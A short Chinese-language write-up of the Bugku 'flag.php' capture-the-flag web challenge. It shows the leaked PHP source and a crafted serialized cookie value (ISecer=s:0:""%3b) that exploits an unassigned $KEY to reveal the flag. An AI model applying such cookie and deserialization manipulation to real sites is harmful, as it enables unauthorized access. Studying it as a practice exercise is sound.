bugku web flag.php
打开题目网页
首先尝试了一下简单的sql注入
但是没用
想了一会后,发现提示hint
所以我们尝试一下使用get方法传入hint任意值
即?hint=1
传入后发现一页代码
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
之后我们查看开头的代码
发现要将cookie指进行序列化后
使与key值相等即可得到flag
但是
注意:下方的key值并不是我们需要的
而我们需要的key值在程序中并没有赋值
因此为NULL
所以有
<?php
$KEY="";
print(serialize($KEY));
?>
因为我们并没有对$key进行赋值因此求序列化的程序如上所示
之后我们可以使用火狐上的hackbar
上传cookies
即ISecer=s:0:""%3b
因为;无法上传 , 因此我们使用其的url码上传
注意,上传的时候要在没有get hint的页面中进行
否则无法显示flag
萌新 还请大佬指教
邮箱:497710073@qq.com